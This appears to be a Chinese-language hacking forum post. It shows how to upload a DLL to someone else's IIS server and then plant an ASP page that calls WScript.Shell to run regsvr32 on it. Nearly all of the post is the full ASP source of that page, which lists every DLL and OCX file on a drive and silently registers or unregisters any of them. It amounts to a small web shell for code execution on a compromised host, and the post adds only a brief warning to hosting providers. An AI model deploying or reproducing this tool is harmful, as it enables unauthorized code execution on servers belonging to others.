让我们先将自己的dll文件通过ftp或http上传到服务器上，然后作一个asp程序，调用WScript.Shell来 执行regsvr32命令：

　　 Set oShell = CreateObject ("WScript.Shell")

　　 oShell.Run "c:\WINNT\system32\regsvr32.exe /s d:\xxx.dll", 0, False

　　 当然如果对方的服务器安全搞的很好的话，这个代码也许就不能用了，但不管怎么样，学习一下 也是好的，：）

　　 在这里也要提醒那些出租空间的朋友，你的服务器是否限制了使用WScript.Shell的权限？还是小心为妙　　

　　 完整代码如下，保存为.asp即可使用：　　

　　 ＜% Response.Buffer = True %＞

　　 ＜% Server.ScriptTimeout = 500

　　 Dim frmFolderPath, frmFilePath　　

　　 frmFolderPath = Request.Form("frmFolderPath")

　　 frmFilePath = Request.Form("frmDllPath")

　　 frmMethod = Request.Form("frmMethod")

　　 btnREG = Request.Form("btnREG")

　　 %＞　

　　 ＜HTML＞

　　 ＜HEAD＞

　　 ＜TITLE＞Regsvr32.asp＜/TITLE＞

　　 ＜STYLE TYPE="TEXT/CSS"＞

　　 .Legend {FONT-FAMILY: veranda; FONT-SIZE: 14px; FONT-WEIGHT: bold; COLOR: blue}

　　 .FS {FONT-FAMILY: veranda; FONT-SIZE: 12px; BORDER-WIDTH: 4px; BORDER-COLOR: green;

　　 MARGIN-LEFT:2px; MARGIN-RIGHT:2px}

　　 TD {MARGIN-LEFT:6px; MARGIN-RIGHT:6px; PADDING-LEFT:12px; PADDING-RIGHT:12px}

　　 ＜/STYLE＞

　　 ＜/HEAD＞

＜BODY＞

　　 ＜FORM NAME="regForm" METHOD="POST"＞

　　 ＜TABLE BORDER=0 CELLSPACING=6 CELLPADDING=6 MARGINWIDTH=6＞

　　 ＜TR＞

　　 ＜TD VALIGN=TOP＞

　　 ＜FIELDSET ID=FS1 NAME=FS1 CLASS=FS＞

　　 ＜LEGEND CLASS=Legend＞Regsvr Functions＜/LEGEND＞

　　 Insert Path to DLL Directory＜BR＞

　　 ＜INPUT TYPE=TEXT NAME="frmFolderPath" VALUE="＜%=frmFolderPath%＞"＞＜BR＞

　　 ＜INPUT TYPE=SUBMIT NAME=btnFileList VALUE="Build File List"＞＜BR＞

　　 ＜%

　　 IF Request.Form("btnFileList") ＜＞ "" OR btnREG ＜＞ "" Then

　　 Set RegisterFiles = New clsRegister

　　 RegisterFiles.EchoB("＜B＞Select File＜/B＞")

　　 Call RegisterFiles.init(frmFolderPath)

　　 RegisterFiles.EchoB("＜BR＞＜INPUT TYPE=SUBMIT NAME=btnREG VALUE=" & Chr(34) _

　　 & "REG/UNREG" & Chr(34) & "＞")

　　 IF Request.Form("btnREG") ＜＞ "" Then

　　 Call RegisterFiles.Register(frmFilePath, frmMethod)

　　 End IF

　　 Set RegisterFiles = Nothing

　　 End IF

　　 %＞

　　 ＜/FIELDSET＞

　　 ＜/TD＞

　　 ＜/TR＞

　　 ＜/TABLE＞

　　 ＜/FORM＞

　　 ＜/BODY＞

　　 ＜/HTML＞

　　 ＜%

　　 Class clsRegister　　

　　 Private m_oFS 　　

　　 Public Property Let oFS(objOFS)

　　 m_oFS = objOFS

　　 End Property　　

　　 Public Property Get oFS()

　　 Set oFS = Server.CreateObject("Scripting.FileSystemObject")

　　 End Property　

　　 Sub init(strRoot) 'Root to Search (c:, d:, e:)

　　 Dim oDrive, oRootDir

　　 IF oFS.FolderExists(strRoot) Then

　　 IF Len(strRoot) ＜ 3 Then 'Must Be a Drive

　　 Set oDrive = oFS.GetDrive(strRoot)

　　 Set oRootDir = oDrive.RootFolder

　　 Else

　　 Set oRootDir = oFS.GetFolder(strRoot)

　　 End IF

　　 Else

　　 EchoB("＜B＞Folder ( " & strRoot & " ) Not Found.")

　　 Exit Sub

　　 End IF

　　 setRoot = oRootDir　　

　　 Echo("＜SELECT NAME=" & Chr(34) & "frmDllPath" & Chr(34) & "＞")

　　 Call getAllDlls(oRootDir)

　　 EchoB("＜/SELECT＞")

　　 BuildOptions

　　 End Sub

Sub getAllDlls(oParentFolder) '通过fso列举所有的dll和ocx文件

　　 Dim oSubFolders, oFile, oFiles

　　 Set oSubFolders = oParentFolder.SubFolders

　　 Set opFiles = oParentFolder.Files　　

　　 For Each oFile in opFiles

　　 IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then

　　 Echo("＜OPTION VALUE=" & Chr(34) & oFile.Path & Chr(34) & "＞" _

　　 & oFile.Name & "＜/Option＞")

　　 End IF

　　 Next　　

　　 On Error Resume Next

　　 For Each oFolder In oSubFolders 'Iterate All Folders in Drive

　　 Set oFiles = oFolder.Files

　　 For Each oFile in oFiles

　　 IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then

　　 Echo("＜OPTION VALUE=" & Chr(34) & oFile.Path & Chr(34) & "＞" _

　　 & oFile.Name & "＜/Option＞")

　　 End IF

　　 Next

　　 Call getAllDlls(oFolder)

　　 Next

　　 On Error GoTo 0

　　 End Sub　　

　　 Sub Register(strFilePath, regMethod)

　　 Dim theFile, strFile, oShell, exitcode

　　 Set theFile = oFS.GetFile(strFilePath)

　　 strFile = theFile.Path　　

　　 Set oShell = CreateObject ("WScript.Shell")　　

　　 IF regMethod = "REG" Then 'Register

　　 oShell.Run "c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False

　　 exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False)

　　 EchoB("regsvr32.exe exitcode = " & exitcode)

　　 Else 'unRegister

　　 oShell.Run "c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False

　　 exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False)

　　 EchoB("regsvr32.exe exitcode = " & exitcode)

　　 End IF　　

　　 Cleanup oShell

　　 End Sub　　

　　 Sub BuildOptions

　　 EchoB("Register: ＜INPUT TYPE=RADIO NAME=frmMethod VALUE=REG CHECKED＞")

　　 EchoB("unRegister: ＜INPUT TYPE=RADIO NAME=frmMethod VALUE=UNREG＞")

　　 End Sub　　

　　 Function Echo(str)

　　 Echo = Response.Write(str & vbCrLf)

　　 End Function　　

　　 Function EchoB(str)

　　 EchoB = Response.Write(str & "＜BR＞" & vbCrLf)

　　 End Function　　

　　 Sub Cleanup(obj)

　　 If isObject(obj) Then

　　 Set obj = Nothing

　　 End IF

　　 End Sub　　

　　 Sub Class_Terminate()

　　 Cleanup oFS

　　 End Sub

　　 End Class

　　 %＞

没有了